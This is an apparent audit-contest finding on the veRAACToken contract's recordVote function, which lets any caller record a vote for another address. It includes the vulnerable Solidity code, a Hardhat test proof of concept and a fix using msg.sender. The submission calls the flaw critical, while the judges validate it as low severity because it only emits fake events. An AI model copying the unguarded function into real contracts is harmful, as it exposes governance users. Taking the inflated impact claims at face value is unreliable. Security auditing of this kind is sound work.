Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: low
Valid

Unauthorized Voting Vulnerability in `recordVote` Function

Summary

A critical vulnerability exists in the recordVote function of the veRAACToken contract, allowing any user to record a vote on behalf of another user. This flaw enables malicious actors to manipulate voting outcomes by casting votes for other users without their consent. The issue arises because the function does not validate whether the caller is the same as the voter, making the voting mechanism insecure.

Affected Code: veRAACToken::recordVote


Vulnerability Details

The recordVote function accepts two parameters: voter (the address of the voter) and proposalId (the ID of the proposal being voted on). However, the function does not enforce any access control, allowing any caller to record a vote for any address. This design flaw can be exploited to:

  1. Cast votes on behalf of users without their knowledge or consent.

  2. Manipulate voting outcomes by inflating votes for or against specific proposals.

  3. Undermine the integrity of the governance system.

function recordVote(address voter, uint256 proposalId) external {
if (_hasVotedOnProposal[voter][proposalId]) revert AlreadyVoted();
_hasVotedOnProposal[voter][proposalId] = true;
uint256 power = getVotingPower(voter);
emit VoteCast(voter, proposalId, power);
}

Issue:

  • The voter parameter is not validated against msg.sender, allowing anyone to record a vote for any address.


Proof of Concept (PoC)

Step 1: Make _hasVotedOnProposal Public

To verify if a vote has been recorded, modify the veRAACToken.sol file to make the _hasVotedOnProposal mapping public:

mapping(address => mapping(uint256 => bool)) public _hasVotedOnProposal;

Step 2: Paste the Following Test Code

Add the following test case to the veRAACToken.test.js file to demonstrate the vulnerability:

describe("Voting Mechanism", () => {
let veRAACToken;
let raacToken;
let owner;
let users;
beforeEach(async () => {
[owner, ...users] = await ethers.getSigners();
// Deploy Mock RAAC Token
const MockRAACToken = await ethers.getContractFactory("ERC20Mock");
raacToken = await MockRAACToken.deploy("RAAC Token", "RAAC");
await raacToken.waitForDeployment();
// Deploy veRAACToken contract
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
veRAACToken = await VeRAACToken.deploy(await raacToken.getAddress());
await veRAACToken.waitForDeployment();
// Setup initial token balances and approvals
for (const user of users.slice(0, 3)) {
await raacToken.mint(user.address, ethers.parseEther("1000"));
await raacToken.connect(user).approve(await veRAACToken.getAddress(), ethers.MaxUint256);
}
});
it("should allow anyone to record a vote for another user", async () => {
const [user1, user2] = users;
// User1 creates a lock to gain voting power
const amount = ethers.parseEther("1000");
const duration = 365 * 24 * 3600; // 1 year
await veRAACToken.connect(user1).lock(amount, duration);
// Verify User1 has voting power
const user1VotingPower = await veRAACToken.getVotingPower(user1.address);
expect(user1VotingPower).to.be.gt(0);
// User2 records a vote for User1 without User1's consent
const proposalId = 1;
await veRAACToken.connect(user2).recordVote(user1.address, proposalId);
// Verify that User1's vote has been recorded
const hasVoted = await veRAACToken._hasVotedOnProposal(user1.address, proposalId);
expect(hasVoted).to.be.true;
});
});

Explanation of the PoC:

  1. Setup:

    • Deploy the veRAACToken contract and the mock RAAC token.

    • Mint tokens and approve the veRAACToken contract to spend tokens on behalf of users.

  2. Test Scenario:

    • User1 creates a lock to gain voting power.

    • User2 (a different user) calls recordVote on behalf of User1 without User1's consent.

    • Verify that User1's vote has been recorded, even though User2 initiated the transaction.

  3. Expected Behavior:

    • The test demonstrates that the recordVote function allows anyone to record a vote for another user, which is a vulnerability.


Impact

  • This vulnerability allows malicious users to manipulate voting outcomes by casting unauthorized votes on behalf of others.

  • Attackers can influence governance decisions, such as protocol upgrades or fund allocations, by inflating votes for or against specific proposals.

  • Loss of Trust: The integrity of the governance system is compromised, leading to a loss of trust among users and stakeholders.


Tools Used

  • Manual Code Review


Recommendations

To fix this vulnerability, modify the recordVote function to ensure that only the voter can record their own vote. Use msg.sender instead of accepting a voter parameter:

Fixed recordVote Function

function recordVote(uint256 proposalId) external {
address voter = msg.sender; // Ensure the voter is the caller
if (_hasVotedOnProposal[voter][proposalId]) revert AlreadyVoted();
_hasVotedOnProposal[voter][proposalId] = true;
uint256 power = getVotingPower(voter);
emit VoteCast(voter, proposalId, power);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::recordVote lacks access control, allowing anyone to emit fake events

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.